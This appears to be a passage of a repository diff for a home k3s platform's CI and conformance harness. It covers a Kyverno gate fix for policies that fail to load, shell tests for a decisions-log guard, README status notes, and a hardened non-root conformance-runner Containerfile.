+  # `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
+  # rows came back `Skip / Invalid Policy`, and the summary read:
+  #     Test Summary: 9 tests passed and 0 tests failed
+  # `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
+  # own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
+  #
+  # This is not specific to that policy: a typo in restrict-host-namespaces or
+  # secret-provenance would silently disable it and the gate would stay green. Scan the
+  # output for the load failure the exit code hides.
+  l0_kout="$(mktemp)"
+  if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
+    if grep -q 'Invalid Policy' "$l0_kout"; then
+      err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
+      err "  skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
+      err "  must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
+      grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
+      summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
+      rc=1
+    else
+      ok "Kyverno L0 policy tests passed"
+      summary "- kyverno-l0: **passed**"
+    fi
   else
     err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
   fi
+  rm -f "$l0_kout"
   rm -rf "$l0_render"
 fi
 

ci/tests/decisions-log.test.sh

@@ -0,0 +1,130 @@
+#!/usr/bin/env bash
+# ci/tests/decisions-log.test.sh — proves ci/decisions-log.sh actually fails closed.
+#
+# The stage exists because appending to DECISIONS-LOG.md silently re-creates a merge conflict
+# for every other open branch. A guard against a silent regression is itself worth nothing
+# unless somebody has watched it reject the thing it claims to reject, so each case below
+# CONSTRUCTS the violation in a throwaway tree and asserts a non-zero exit — the same reasoning
+# as ci/tests/gate-decision.test.sh, one layer down.
+set -uo pipefail
+REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+
+PASS=0 FAIL=0
+ok()  { printf '  ok   %s\n' "$*"; PASS=$((PASS+1)); }
+bad() { printf '  FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
+
+TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
+
+# A minimal well-formed tree: the frozen archive, its pin, and one valid entry.
+mk_tree() {
+  local d="$1"; rm -rf "$d"; mkdir -p "$d/ci" "$d/decisions"
+  cp "${REAL_CI_DIR}/decisions-log.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$d/ci/"
+  printf 'frozen history\n' > "$d/DECISIONS-LOG.md"
+  ( cd "$d" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 )
+  mk_entry "$d/decisions/2026-09-29-a-good-entry.md" 2026-09-29
+  # REPO_ROOT in ci/lib.sh is derived from git; give the tree a repo so it resolves here.
+  ( cd "$d" && git init -q . && git add -A && git -c user.email=t@t -c user.name=t commit -qm init )
+}
+
+mk_entry() {
+  cat > "$1" <<ENTRY
+---
+date: $2
+branch: chore/example
+title: An example entry
+---
+
+## What changed
+
+Enough prose here to clear the twenty-character body floor comfortably.
+
+## What I verified
+
+Enough prose here to clear the twenty-character body floor comfortably.
+
+## What I did NOT verify
+
+Enough prose here to clear the twenty-character body floor comfortably.
+ENTRY
+}
+
+# run <dir> -> sets RC and OUT
+run() { OUT="$( cd "$1" && bash ci/decisions-log.sh 2>&1 )"; RC=$?; }
+
+D="${TMP}/t"
+
+echo "== 1. a well-formed tree passes"
+mk_tree "$D"; run "$D"
+[ "$RC" -eq 0 ] && ok "clean tree -> exit 0" || bad "clean tree -> exit ${RC}: ${OUT}"
+
+echo
+echo "== 2. THE REGRESSION THIS STAGE EXISTS FOR: appending to the frozen archive"
+mk_tree "$D"; printf '\n## my new handoff\n' >> "$D/DECISIONS-LOG.md"; run "$D"
+[ "$RC" -ne 0 ] && ok "append to DECISIONS-LOG.md -> non-zero (${RC})" \
+                || bad "append to DECISIONS-LOG.md was ACCEPTED — the guard is inert"
+grep -qi 'frozen archive' <<<"$OUT" && ok "the message names the archive as frozen" \
+                                    || bad "the message does not say the archive is frozen"
+grep -q 'decisions/\$(date +%F)' <<<"$OUT" && ok "the message names the file to write instead" \
+                                           || bad "the message does not name the remedy"
+
+echo
+echo "== 3. a re-pin is a deliberate, accepted act"
+mk_tree "$D"; printf '\nredacted\n' >> "$D/DECISIONS-LOG.md"
+( cd "$D" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 ); run "$D"
+[ "$RC" -eq 0 ] && ok "archive changed AND re-pinned -> exit 0" || bad "re-pin rejected: ${OUT}"
+
+echo
+echo "== 4. a missing pin is unverifiable, not green"
+mk_tree "$D"; rm "$D/decisions/ARCHIVE.sha256"; run "$D"
+[ "$RC" -ne 0 ] && ok "no ARCHIVE.sha256 -> non-zero (${RC})" || bad "missing pin was accepted"
+
+echo
+echo "== 5. entry naming"
+for badname in 2026-9-29-x.md 26-09-29-x.md 2026-09-29-Upper.md 2026-09-29-.md 2026-02-30-x.md; do
+  mk_tree "$D"; mk_entry "$D/decisions/${badname}" 2026-09-29; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects decisions/${badname}" || bad "ACCEPTED decisions/${badname}"
+done
+mk_tree "$D"; mk_entry "$D/decisions/2026-10-01-fix-thing-2.md" 2026-10-01; run "$D"
+[ "$RC" -eq 0 ] && ok "accepts a digits-and-dashes slug" || bad "rejected a valid slug: ${OUT}"
+
+echo
+echo "== 6. frontmatter"
+mk_tree "$D"; sed -i '1d' "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+[ "$RC" -ne 0 ] && ok "rejects an entry with no frontmatter" || bad "accepted a bare entry"
+
+for key in date branch title; do
+  mk_tree "$D"; sed -i "/^${key}:/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects frontmatter missing '${key}'" || bad "accepted missing '${key}'"
+done
+
+# The copied-template failure: the body was rewritten, the date never was.
+mk_tree "$D"; mk_entry "$D/decisions/2026-09-30-copied.md" 2026-09-29; run "$D"
+[ "$RC" -ne 0 ] && ok "rejects a frontmatter date that disagrees with the filename" \
+                || bad "accepted a date/filename disagreement"
+
+echo
+echo "== 7. the three required sections, and their bodies"
+for sec in 'What changed' 'What I verified' 'What I did NOT verify'; do
+  mk_tree "$D"; sed -i "/^## ${sec}\$/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects an entry missing '## ${sec}'" || bad "accepted missing '## ${sec}'"
+done
+
+# A heading with nothing under it is the way this floor gets defeated in practice.
+mk_tree "$D"
+python3 - "$D/decisions/2026-09-29-a-good-entry.md" <<'PY'
+import sys,re
+p=sys.argv[1]; s=open(p).read()
+s=re.sub(r'## What I did NOT verify\n\n.*', '## What I did NOT verify\n\nn/a\n', s, flags=re.S)
+open(p,'w').write(s)
+PY
+run "$D"
+[ "$RC" -ne 0 ] && ok "rejects a stub body under a required section" || bad "accepted an 'n/a' section"
+
+echo
+echo "== 8. README.md in decisions/ is not an entry and is not policed as one"
+mk_tree "$D"; printf 'not an entry\n' > "$D/decisions/README.md"; run "$D"
+[ "$RC" -eq 0 ] && ok "decisions/README.md ignored by the entry rules" || bad "README policed: ${OUT}"
+
+echo
+if [ "$FAIL" -eq 0 ]; then echo "decisions-log tests: PASS ($PASS assertions)"; exit 0
+else echo "decisions-log tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

ci/tests/gate-decision.test.sh

@@ -36,7 +36,13 @@ REPO="${TMP}/repo"; mkdir -p "$REPO"
 cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
 
 # One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
-for stage in spec-immutability lint l0 render-golden l1 conformance; do
+# NOTE: this list must name EVERY stage gate.sh runs. It did not: `gitea-settings` was added to
+# gate.sh and never added here, so its script was absent from the stub CI dir, `run_stage` got
+# exit 127 from the missing file, and the gate recorded a FAILED stage in every single case —
+# 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
+# PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
+# decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
+for stage in spec-immutability decisions-log lint l0 render-golden l1 gitea-settings conformance; do
   cat > "${CI}/${stage}.sh" <<'STUB'
 #!/usr/bin/env bash
 n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
@@ -184,6 +190,21 @@ assert_verdict BLOCKED 1 "l0 FAILED + l1 SKIPPED"
 run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
 assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
 
+echo
+echo "== 10. decisions-log: the handoff log's storage format has no non-blocking outcome"
+# A FAIL here means the frozen archive was appended to (re-creating, for every OTHER open
+# branch, the tail-hunk conflict that made 4 of 5 PRs unmergeable on 2026-09-29) or an entry is
+# malformed. A SKIP is impossible by construction — the stage needs no tool and no cluster — so
+# if one is ever reported it is a defect in the stage, and the gate must not soften it into
+# UNDETERMINED. Both outcomes block, and neither is upgradeable by an env knob: there is
+# deliberately no REQUIRE_DECISIONS_LOG, because a guard with an off switch is not a guard.
+run_gate STAGE_RC_decisions_log=1
+assert_verdict BLOCKED 1 "decisions-log FAILED (archive modified / entry malformed)"
+run_gate STAGE_RC_decisions_log=3
+assert_verdict BLOCKED 1 "decisions-log SKIPPED (impossible by construction -> defect, blocks)"
+run_gate STAGE_RC_decisions_log=1 STAGE_RC_l1=3
+assert_verdict BLOCKED 1 "decisions-log FAILED outranks an l1 non-run"
+
 echo
 if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
 else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

clusters/README.md

@@ -1,5 +1,19 @@
 # clusters/
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 Flux entrypoints and the environment-overlay model (**R-ENV-02**, **R-GITOPS-01/02/03**).
 
 Governing spec: [`docs/05-gitops-and-delivery.md`](../../home-network-k3s/docs/05-gitops-and-delivery.md),

clusters/base/conformance.yaml

@@ -0,0 +1,31 @@
+---
+# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
+#
+# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
+# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
+# meant to verify is worse than no harness.
+#
+# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
+# waves needs it.
+#
+# NOTE: this reconciles RBAC that is INERT until
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
+# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
+# trigger identity can exist while the policy bounding it does not.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: conformance
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: platform-config
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./conformance/incluster

clusters/base/kustomization.yaml

@@ -33,6 +33,7 @@ resources:
   - apps-wave-2.yaml     # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
   # VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
   - apps-vms.yaml        # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
+  - conformance.yaml     # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
   # oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
   # service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
   # `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).

conformance/README.md

@@ -1,5 +1,19 @@
 # conformance/ — the home-k3s conformance harness (WS-TEST)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 This subtree is the **definition of "done"** for the whole platform. Nothing is accepted
 on a demo, a screenshot, or "it reconciled": every requirement is proven by an
 **automated, reproducible, behavior-based test** tagged with the requirement ID(s) it

conformance/incluster/Containerfile

@@ -0,0 +1,200 @@
+# =============================================================================
+# conformance-runner — the image the in-cluster L2/L3 Chainsaw Job actually runs.
+# Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
+# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
+# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
+# would have failed at exec of `./run.sh`. This image carries exactly what
+# `conformance/run.sh` needs:
+#
+#   bash      run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
+#   python3   lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
+#             (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
+#   chainsaw  the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
+#   kubectl   conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
+#   git       the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
+#             run.sh's `rev-parse --short HEAD` for the run id
+#   tar/gzip/coreutils  the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
+#
+# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
+# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
+# hole, not for convenience: see the COPY below and the script's own header.
+#
+# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
+# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
+# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
+# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
+# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
+#
+# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
+# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
+# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
+# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
+# baking the whole devcontainer toolchain into the runner would roughly double its size to
+# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
+# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
+# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
+# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
+# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
+# args is T-6.1b's call, not this image's.
+#
+# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
+# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
+# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
+# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
+# consequences are baked in here:
+#
+#   1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
+#      REJECTS an image whose USER is a name it cannot resolve to a uid
+#      ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
+#   2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
+#      and `results` volumes — there is no writable /tmp and one cannot be added without
+#      changing the boundary. So HOME and every cache path point INTO /workspace (the
+#      emptyDir), not at the read-only root. That is why HOME=/workspace below.
+# =============================================================================
+
+# --- builder: fetch the pinned release binaries ------------------------------
+# A full Fedora for the download stage (it has curl + tar); none of it ships in the runtime
+# image, so the runner does not carry a downloader it has no business having at runtime.
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora:${FEDORA_VERSION} AS builder
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG TARGETARCH=amd64
+
+# Fail the BUILD — not the Job, three weeks later — if a pin was not passed in.
+RUN set -eux; \
+    : "${CHAINSAW_VERSION:?pass --build-arg CHAINSAW_VERSION from infra/devcontainer/versions.env}"; \
+    : "${KUBECTL_VERSION:?pass --build-arg KUBECTL_VERSION from infra/devcontainer/versions.env}"
+
+# Same URLs and the same arch handling as infra/devcontainer/Containerfile, so the chainsaw
+# and kubectl in this image are the same builds the toolbox gate runs with.
+#
+# INTEGRITY, MEASURED NOT ASSUMED. kubectl publishes a plain `<url>.sha256`, so it is verified
+# below. chainsaw publishes NO checksums file — the v0.2.12 release assets are the tarballs plus
+# per-asset cosign `.sig`/`.pem` and an SBOM (listed via the GitHub releases API). So chainsaw's
+# integrity here rests on the tag + TLS, and afterwards on this image's own digest.
+# TODO, worth doing and deliberately not smuggled in here: verify chainsaw with
+# `cosign verify-blob --certificate chainsaw_linux_amd64.tar.gz.pem
+#  --signature chainsaw_linux_amd64.tar.gz.sig ...`. That needs cosign in the builder stage and
+# the correct keyless identity/issuer for kyverno's release workflow — a supply-chain decision
+# that belongs in its own reviewed change, not as a silent addition to a runner image.
+# infra/devcontainer/Containerfile has the same gap for the same binary.
+RUN set -eux; \
+    mkdir -p /out; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl" \
+      -o /out/kubectl; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl.sha256" \
+      -o /tmp/kubectl.sha256; \
+    echo "$(cat /tmp/kubectl.sha256)  /out/kubectl" | sha256sum -c -; \
+    curl -fsSL "https://github.com/kyverno/chainsaw/releases/download/v${CHAINSAW_VERSION}/chainsaw_linux_${TARGETARCH}.tar.gz" \
+      | tar -xz -C /out chainsaw; \
+    chmod 0755 /out/kubectl /out/chainsaw; \
+    /out/kubectl version --client=true --output=yaml >/dev/null; \
+    /out/chainsaw version >/dev/null
+
+# --- runtime -----------------------------------------------------------------
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION}
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG FEDORA_VERSION=44
+# Nonroot uid/gid. 65532 is the distroless `nonroot` convention; the value is arbitrary but
+# it MUST be numeric and non-zero — see "THE ADMISSION CONTRACT" above.
+ARG RUNNER_UID=65532
+ARG RUNNER_GID=65532
+
+LABEL org.opencontainers.image.title="conformance-runner" \
+      org.opencontainers.image.description="bash + python3 + chainsaw + kubectl + git for the in-cluster L2/L3 conformance Job (conformance/run.sh)" \
+      org.opencontainers.image.source="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl" \
+      org.opencontainers.image.documentation="conformance/incluster/README.md" \
+      homelab.keithjackson.dev/requirements="R-TEST-02,R-SEC-02"
+
+# bash: run.sh + every check.sh.  python3: the stdlib report generators.
+# git-core: the init-container clone (git-core, not git — drops the perl/svn tail).
+# coreutils/findutils/grep/sed/gawk: find, sort, base64, xargs, sed -nE, awk in lib/*.sh.
+# tar+gzip: the base64-tar results channel.  diffutils: `diff` in the L1 golden compare.
+# ca-certificates: TLS for the init clone and for kubectl's in-cluster API calls.
+RUN set -eux; \
+    microdnf -y install --setopt=install_weak_deps=0 --nodocs \
+      bash python3 git-core coreutils findutils grep sed gawk tar gzip diffutils \
+      ca-certificates; \
+    microdnf clean all; \
+    rm -rf /var/cache/* /var/log/dnf*
+
+COPY --from=builder /out/kubectl /out/chainsaw /usr/local/bin/
+
+# The init container's ONLY entrypoint. Copied as a file with a fixed path and NO argument
+# surface, because the admission policy pins the main container's `command` but never reads
+# `initContainers` — so an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+# script is currently ADMITTED and runs as the privileged `conformance-runner` SA (reproduced
+# by the policy's author; pass 3, fail 0). A 4th policy rule requiring
+# `command: ["/usr/local/bin/conformance-clone"]` with no `args` is what makes this file
+# REQUIRED rather than merely available; that rule belongs in its own reviewed PR against the
+# boundary, not here. See the script's header for the env-injection half of the same hole.
+#
+# 0755 root:root: the container runs as 65532 and MUST NOT be able to replace the one
+# executable the policy will trust. Ownership is asserted below rather than assumed.
+COPY conformance-clone /usr/local/bin/conformance-clone
+RUN set -eux; \
+    chown root:root /usr/local/bin/conformance-clone; \
+    chmod 0755 /usr/local/bin/conformance-clone; \
+    bash -n /usr/local/bin/conformance-clone; \
+    /usr/local/bin/conformance-clone --anything 2>&1 | grep -q 'takes no arguments'; \
+    test "$(stat -c '%U:%G %a' /usr/local/bin/conformance-clone)" = 'root:root 755'
+
+# The nonroot account is written directly rather than pulling in shadow-utils to run useradd
+# once. HOME is /workspace because at runtime that emptyDir is the only writable path.
+RUN set -eux; \
+    echo "runner:x:${RUNNER_UID}:${RUNNER_GID}:conformance runner:/workspace:/bin/bash" >> /etc/passwd; \
+    echo "runner:x:${RUNNER_GID}:" >> /etc/group; \
+    install -d -m 0775 -o "${RUNNER_UID}" -g "${RUNNER_GID}" /workspace
+
+# SYSTEM-level config, because HOME is an emptyDir that starts empty on every run and the
+# root filesystem is read-only — a runtime `--global` write would fail.
+# safe.directory=*: the init-container clones into the shared emptyDir and the main container
+# then runs `rev-parse` over it; any uid mismatch between the two would otherwise abort with
+# "detected dubious ownership". The repo is fetched fresh per run into an emptyDir, so there
+# is no pre-existing hostile checkout this relaxes a check against.
+RUN set -eux; \
+    printf '%s\n' \
+      '[safe]' \
+      '	directory = *' \
+      '[advice]' \
+      '	detachedHead = false' \
+      > /etc/gitconfig; \
+    chmod 0644 /etc/gitconfig
+
+# Provenance: what is actually in this layer, readable from a running pod.
+RUN set -eux; \
+    { echo "fedora=${FEDORA_VERSION}"; \
+      echo "chainsaw=${CHAINSAW_VERSION}"; \
+      echo "kubectl=${KUBECTL_VERSION}"; \
+      echo "bash=$(bash --version | head -1)"; \
+      echo "python3=$(python3 --version)"; \
+      echo "git=$(git --version)"; \
+      echo "conformance-clone=$(sha256sum /usr/local/bin/conformance-clone | cut -d' ' -f1)"; \
+    } > /etc/conformance-runner-versions; \
+    chmod 0444 /etc/conformance-runner-versions
+
+# Every writable path points into the `workspace` emptyDir — the root filesystem is
+# read-only and the admission policy forbids adding a third volume for scratch.
+ENV HOME=/workspace \
+    XDG_CACHE_HOME=/workspace/.cache \
+    XDG_CONFIG_HOME=/workspace/.config \
+    TMPDIR=/workspace/.tmp \
+    PYTHONDONTWRITEBYTECODE=1 \
+    CONF_ROOT=/workspace/conformance
+
+USER ${RUNNER_UID}:${RUNNER_GID}
+WORKDIR /workspace
+
+# No ENTRYPOINT on purpose. The admission policy pins `command: ["./run.sh"]` with
+# `workingDir: /workspace/conformance`; an ENTRYPOINT here would either be ignored or
+# prepend something the policy cannot see. `bash` is the interactive fallback for a human
+# debugging the image locally.
+CMD ["/bin/bash"]

conformance/incluster/README.md

@@ -1,5 +1,19 @@
 # In-cluster conformance Job (L2/L3)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 Per **ADR-0011** and **docs/14 "Where each layer runs"**: L0/L1 run in CI without a
 cluster, but **L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job**
 on the dev/test cluster that **CI triggers and waits for**. CI holds **no** cluster
@@ -11,20 +25,86 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
   commented with the test/requirement that needs it — only as the matching fault-injection
   test lands. This is a **privileged test identity**: never reused by workloads, its own
   audit item.
-- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
-  `--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
-  exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
+- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
+  run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
+  commit under test; artifacts leave over stdout. Its header is the authority on the
+  substitution tokens and the admission constraints it satisfies, and records the
+  `initContainers` hole that was found and closed alongside it — read it before editing
+  either file.
+- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
+  `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
+  filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
+  it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
+  source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
+  uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
+  L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
+  kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
+- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
+  `/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
+  It is a file in the image rather than an inline script in the Job precisely so admission
+  can pin it: a policy cannot tell the committed script from an attacker's when both are
+  just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
+  match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
+  unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
+  takes **no arguments**, and the repository URL and clone target are **compiled in** —
+  `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
+  honoured, because a URL taken from env would let the trigger choose which repository's
+  code runs as `conformance-runner`. This branch's Job depends on that interface:
+  `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
+  (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
+  > **The other half landed with this branch.** When `conformance-clone` arrived, the
+  > admission policy pinned the main container's `command` but **never read
+  > `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+  > script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
+  > merely *available* rather than *required*. The rule that closes it is
+  > `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
+  > digest-pinned to the conformance-runner image, `command` exactly
+  > `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
+  > `env`/`envFrom` were the same shape of hole and are closed in the same policy.
+- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
+  image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
+  prints the exact `podman push --digestfile …` command for the operator instead. See
+  `conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
+  `--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
+  and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
+  default verify stays offline so an air-gapped build is fully checked, not half-checked).
 
 ## Flow
-1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
-   trigger with narrow rights: create Job + read its logs/status — *not* a broad
-   kubeconfig).
-2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
-   `./run.sh` under `conformance-runner`.
-3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
-   `coverage/` to the results volume (`/workspace/conformance/_artifacts`).
-4. CI collects those artifacts (results volume or the terminating log stream, which echoes
-   their paths) and enforces the merge / phase-exit gate on them.
+1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
+   runner image digest and the commit SHA — replaces `args` with the invocation shape, and
+   `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
+   pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
+2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
+   fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
+3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
+   shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
